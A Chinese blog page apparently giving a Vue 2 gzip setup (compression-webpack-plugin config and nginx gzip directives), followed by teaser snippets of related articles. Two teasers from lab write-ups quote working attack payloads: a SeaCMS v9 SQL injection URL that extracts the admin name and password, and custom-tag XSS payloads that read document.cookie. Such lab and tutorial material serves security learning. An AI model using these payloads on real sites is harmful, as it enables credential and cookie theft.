当前位置: 首页 > news >正文

vue2项目打包后js文件过大, 首次加载缓慢

vue2项目打包后js文件过大, 首次加载缓慢

  • 安装插件
npm i compression-webpack-plugin@6.1.1 -D
  • 配置vue.config.js
const CompressionWebpackPlugin = require('compression-webpack-plugin')module.exports = {configureWebpack: {plugins:[new CompressionWebpackPlugin({filename: '[path][base].gz', //'[path].gz[query]',algorithm: 'gzip',test: /\.js$|\.json$|\.css/,threshold: 10240, // 只有大小大于该值的资源会被处理minRatio: 0.8, // 只有压缩率小于这个值的资源才会被处理// deleteOriginalAssets: true // 删除原文件})],},
}
  • 后端配置nginx
http {include       mime.types;default_type  application/octet-stream;client_max_body_size 1024m;sendfile        on;keepalive_timeout  65;# 配置gzipgzip  on;gzip_min_length  1k;gzip_buffers     4 16k;gzip_http_version 1.1;gzip_comp_level 9;gzip_types       text/plain application/x-javascript text/css application/xml text/javascript application/x-httpd-php application/javascript application/json;gzip_disable "MSIE [1-6]\.";gzip_vary on;server {listen       80;server_name  localhost;location / {root   html;index  index.html index.htm;}  }}

相关文章:

vue2项目打包后js文件过大, 首次加载缓慢

vue2项目打包后js文件过大, 首次加载缓慢 安装插件 npm i compression-webpack-plugin6.1.1 -D配置vue.config.js const CompressionWebpackPlugin require(compression-webpack-plugin)module.exports {configureWebpack: {plugins:[new CompressionWebpackPlugin({filen…...

数据安全_笔记系列06:数据生命周期管理(存储、传输、使用、销毁)深度解析

数据安全_笔记系列06:数据生命周期管理(存储、传输、使用、销毁)深度解析 数据生命周期管理(存储、传输、使用、销毁)详解 数据生命周期管理(Data Lifecycle Management, DLM)是围绕数据从创建…...

机器学习数学基础:32.斯皮尔曼等级相关

斯皮尔曼等级相关教程 一、定义与原理 斯皮尔曼等级相关系数(Spearman’s rank - correlation coefficient),常用 ρ \rho ρ表示,是一种非参数统计量,用于衡量两个变量的等级之间的关联程度。它基于变量的秩次&…...

【AI-39】深度学习框架包含哪些内容

深度学习框架(如 PyTorch、TensorFlow)是用于构建和训练神经网络的工具,它们提供了底层的计算库、优化算法、张量操作等功能。而transformers库是基于这些深度学习框架构建的高级库,它封装了许多预训练模型和相关的工具&#xff0…...

uniapp h5支付宝支付

第1种&#xff0c;创建个div插入到body中 const div document.createElement(div); div.innerHTML 后端返回的form表单字符串; document.body.appendChild(div); document.forms[0].submit(); div.remove(); 第2种 <template> <view v-html"formAliPay"…...

探索YOLO技术:目标检测的高效解决方案

第一章&#xff1a;计算机视觉中图像的基础认知 第二章&#xff1a;计算机视觉&#xff1a;卷积神经网络(CNN)基本概念(一) 第三章&#xff1a;计算机视觉&#xff1a;卷积神经网络(CNN)基本概念(二) 第四章&#xff1a;搭建一个经典的LeNet5神经网络(附代码) 第五章&#xff1…...

vmware虚拟机安装使用教程【视频】

vmware虚拟机安装使用教程【视频】 VMware是一款强大的桌面级虚拟化软件&#xff0c;它允许用户在单个计算机上同时运行多个操作系统&#xff0c;每个操作系统都被称为一个虚拟机&#xff08;VM&#xff09;。这种技术不仅方便了软件测试、系统开发&#xff0c;还便于资源管理&…...

2025系统架构师(一考就过):案例之三:架构风格总结

软件架构风格是描述某一特定应用领域中系统组织方式的惯用模式&#xff0c;按照软件架构风格&#xff0c;物联网系统属于&#xff08; &#xff09;软件架构风格。 A:层次型 B:事件系统 C:数据线 D:C2 答案&#xff1a;A 解析&#xff1a; 物联网分为多个层次&#xff0…...

渗透测试实验

1、seacmsv9注入管理员密码 获取管理员账号&#xff08;name&#xff09; http://www.test2.com/comment/api/index.php?gid1&page2&rlist[]%27,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(name)from%20sea_admin))),%27 2、获取管理员密码 http://www…...

CCA社群共識聯盟正式上線

2025年2月25日——BAF區塊鏈產業聯盟基金會旗下的CCA社群共識聯盟業務於今日正式全網啟動。作為區塊鏈行業的創新平台,CCA社群共識聯盟秉承誠信、公平、共贏的核心原則,致力於為全球社群夥伴打造一個更加開放、透明與高效的合作生態,推動區塊鏈產業的健康發展。 創新平台,助力…...

京东-零售-数据研发面经【附答案】

近期&#xff0c;有参加春招的同学和我交流了他的面试历程&#xff0c;我针对这些内容进行了细致的总结与梳理&#xff0c;并在此分享出来&#xff0c;希望能助力大家学习与借鉴。 1.八股文 1&#xff09;HashMap的底层原理是什么【见V6.0面试笔记 Java基础部分第19题】 2&am…...

python中的JSON数据格式

文章目录 什么是json主要功能Python数据和Json数据的相互转化 什么是json JSON是一种轻量级的数据交互格式。可以按照JSON指定的格式去组织和封装数据。JSON本质上是一个带有特定格式的字符串。 主要功能 json就是一种在各个编程语言中流通的数据格式&#xff0c;负责不同编…...

ubuntu+aarch64+dbeaver安装【亲测,避坑】

一&#xff1a;访问 Oracle JDK&#xff0c;下载jdk-11.0.26_linux-aarch64_bin.tar.gz 二&#xff1a;解压 tar -xvzf jdk-11.0.20_linux-x64_bin.tar.gz三&#xff1a;将解压后的 JDK 文件夹移动到 /usr/lib/jvm 目录 sudo mv jdk-11.0.26 /usr/lib/jvm/四&#xff1a;进入…...

Java 大视界 -- 基于 Java 的大数据机器学习模型压缩与部署优化(99)

&#x1f496;亲爱的朋友们&#xff0c;热烈欢迎来到 青云交的博客&#xff01;能与诸位在此相逢&#xff0c;我倍感荣幸。在这飞速更迭的时代&#xff0c;我们都渴望一方心灵净土&#xff0c;而 我的博客 正是这样温暖的所在。这里为你呈上趣味与实用兼具的知识&#xff0c;也…...

vscode中使用PlatformIO创建工程加载慢

最近使用vscodeplatformIO开发esp32s3&#xff0c;第一次创建工程时加载速度很慢&#xff0c;查询资料解决问题&#xff0c;特此记录。 1.新建环境变量pyhton 此电脑-属性-高级系统设置中&#xff08;直接搜索高级系统设置也行&#xff09;&#xff0c;添加系统变量&#xff…...

微信小程序数据绑定与事件处理:打造动态交互体验

在上一篇中&#xff0c;我们学习了如何搭建微信小程序的开发环境并创建了一个简单的“Hello World”页面。然而&#xff0c;一个真正的小程序不仅仅是静态内容的展示&#xff0c;它需要与用户进行动态交互。本文将深入探讨微信小程序中的数据绑定和事件处理机制&#xff0c;通过…...

力扣 下一个排列

交换位置&#xff0c;双指针&#xff0c;排序。 题目 下一个排列即在组成的排列中的下一个大的数&#xff0c;然后当这个排列为降序时即这个排列最大&#xff0c;因为大的数在前面&#xff0c;降序排列的下一个数即升序。所以&#xff0c;要是想找到当前排列的下一个排列&…...

JavaWeb 学习笔记

前端基础 HTML-CSS <!doctype html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport"content"widthdevice-width, user-scalableno, initial-scale1.0, maximum-scale1.0, minimum-scale1.0…...

Linux7-线程

一、前情回顾 chdir();功能&#xff1a; 函数用于改变当前进程的工作目录。 参数&#xff1a;路径&#xff08;Path&#xff09;&#xff1a;这是一个字符串参数&#xff0c;表示要切换到的目标目录的路径。 返回值&#xff1a; 成功&#xff1a;在成功改变当前工作目…...

在线VS离线TTS(语音合成芯片)有哪些优势-AIOT智能语音产品方案

离线 TTS 存在语音质量欠佳、音色选择有限、语言支持单一更新困难、占用资源多、适应性差、难以个性化定制等痛点 01更新维护困难 由于是离线模式&#xff0c;难以及时获取最新的语音数据和算法更新&#xff0c;无法得到持续改进。 02占用本地资源 需要在设备本地存储较大的…...

黑马Mybatis

Mybatis 表现层&#xff1a;页面展示 业务层&#xff1a;逻辑处理 持久层&#xff1a;持久数据化保存 在这里插入图片描述 Mybatis快速入门 ![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/6501c2109c4442118ceb6014725e48e4.png //logback.xml <?xml ver…...

线程同步:确保多线程程序的安全与高效!

全文目录&#xff1a; 开篇语前序前言第一部分&#xff1a;线程同步的概念与问题1.1 线程同步的概念1.2 线程同步的问题1.3 线程同步的解决方案 第二部分&#xff1a;synchronized关键字的使用2.1 使用 synchronized修饰方法2.2 使用 synchronized修饰代码块 第三部分&#xff…...

理解 MCP 工作流:使用 Ollama 和 LangChain 构建本地 MCP 客户端

&#x1f31f; 什么是 MCP&#xff1f; 模型控制协议 (MCP) 是一种创新的协议&#xff0c;旨在无缝连接 AI 模型与应用程序。 MCP 是一个开源协议&#xff0c;它标准化了我们的 LLM 应用程序连接所需工具和数据源并与之协作的方式。 可以把它想象成你的 AI 模型 和想要使用它…...

unix/linux,sudo,其发展历程详细时间线、由来、历史背景

sudo 的诞生和演化,本身就是一部 Unix/Linux 系统管理哲学变迁的微缩史。来,让我们拨开时间的迷雾,一同探寻 sudo 那波澜壮阔(也颇为实用主义)的发展历程。 历史背景:su的时代与困境 ( 20 世纪 70 年代 - 80 年代初) 在 sudo 出现之前,Unix 系统管理员和需要特权操作的…...

Angular微前端架构:Module Federation + ngx-build-plus (Webpack)

以下是一个完整的 Angular 微前端示例&#xff0c;其中使用的是 Module Federation 和 npx-build-plus 实现了主应用&#xff08;Shell&#xff09;与子应用&#xff08;Remote&#xff09;的集成。 &#x1f6e0;️ 项目结构 angular-mf/ ├── shell-app/ # 主应用&…...

LangChain知识库管理后端接口:数据库操作详解—— 构建本地知识库系统的基础《二》

这段 Python 代码是一个完整的 知识库数据库操作模块&#xff0c;用于对本地知识库系统中的知识库进行增删改查&#xff08;CRUD&#xff09;操作。它基于 SQLAlchemy ORM 框架 和一个自定义的装饰器 with_session 实现数据库会话管理。 &#x1f4d8; 一、整体功能概述 该模块…...

深度学习之模型压缩三驾马车:模型剪枝、模型量化、知识蒸馏

一、引言 在深度学习中&#xff0c;我们训练出的神经网络往往非常庞大&#xff08;比如像 ResNet、YOLOv8、Vision Transformer&#xff09;&#xff0c;虽然精度很高&#xff0c;但“太重”了&#xff0c;运行起来很慢&#xff0c;占用内存大&#xff0c;不适合部署到手机、摄…...

【Kafka】Kafka从入门到实战:构建高吞吐量分布式消息系统

Kafka从入门到实战:构建高吞吐量分布式消息系统 一、Kafka概述 Apache Kafka是一个分布式流处理平台,最初由LinkedIn开发,后成为Apache顶级项目。它被设计用于高吞吐量、低延迟的消息处理,能够处理来自多个生产者的海量数据,并将这些数据实时传递给消费者。 Kafka核心特…...

加密通信 + 行为分析:运营商行业安全防御体系重构

在数字经济蓬勃发展的时代&#xff0c;运营商作为信息通信网络的核心枢纽&#xff0c;承载着海量用户数据与关键业务传输&#xff0c;其安全防御体系的可靠性直接关乎国家安全、社会稳定与企业发展。随着网络攻击手段的不断升级&#xff0c;传统安全防护体系逐渐暴露出局限性&a…...

渗透实战PortSwigger Labs指南:自定义标签XSS和SVG XSS利用

阻止除自定义标签之外的所有标签 先输入一些标签测试&#xff0c;说是全部标签都被禁了 除了自定义的 自定义<my-tag onmouseoveralert(xss)> <my-tag idx onfocusalert(document.cookie) tabindex1> onfocus 当元素获得焦点时&#xff08;如通过点击或键盘导航&…...